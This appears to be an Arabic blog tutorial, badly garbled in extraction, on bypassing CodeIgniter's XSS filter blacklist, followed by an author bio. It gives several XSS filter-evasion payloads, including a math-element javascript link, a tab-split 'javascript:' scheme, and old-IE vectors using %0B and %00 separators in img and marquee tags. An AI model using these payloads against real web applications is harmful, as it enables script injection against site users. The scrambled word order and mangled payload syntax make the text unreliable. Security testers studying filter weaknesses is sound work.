كلمة " إلى المدخل يحول عندها المنتظم التعبير تطابق " .removedوإذا
التالي االوتومتا يأخذ فالتعبير
تأج بعد عالمة whitespaceسيكون Aأي نظيف ان يمكن لتتجاوز لذلكالمنتظم / \ التعبير تجاوزنا فهنا قائمة sسالش تجاوزنا ايضا ،Blacklist في
المحجوزة بالكلمة التالي : mathالتطبيق النحو في كما<math<>a/xlink:href=javascript:confirm)1(<click>/a>
قائمة mathفالعنصر في موجود غير التجاوز Blacklistقبل
سالش / بإضافة الثاني التجاوز هنا>a/href=ja	vasc
ript:alert(1)
طريق \ عن الثالث التجاوز UCوهنا
http://jsfiddle.net/GTxVt/5/
عمل اطار في اخرى ميزة على Codeigniterهناك السيطرة أحرف للحذفالمثال % NULLأو 00سبيل
هي : بالغالب والمستخدمة مفلتره السيطرة أحرف جميعValid separators In Different Browsers
المتصفحات بإختالف وتختلف
والخامس الرابع التجاوز هكذا/* IE7 , IE8 And IE9 XSS attack vector
%0b == vertical tab and %00 == Null
Old IE versions treat %0B as valid tag/attribute separators */
>img%0Bsrc="" o%00nerror=confirm)location(;<
>marquee/o%00nstart="javas%00script:alert)location("<xss>/marquee<
السيطرة الحرف أخر Null + Whitespaceتجاوز
،، بالتوفيق
للتواصل: Usamnet000@gmail.com
الشهابي أسامةيختص فيما االقتصادي التمكين وحدة لدى والمعلومات النظم ادارة في يعمل
بكالوريس على حاصل اليمني اإلسالمي البنك في االصغر اإلسالمي التمؤيلفي مهتم شبكات كمهندس سيسكو شهادة على وحاصل البرمجيات هندسةالشبكات وإمنية االختراق اختبار مجال في بالخصوص جديد كل معرفة
محفوظة الحقوق جميعh4cksc4n.wordpress.com
top related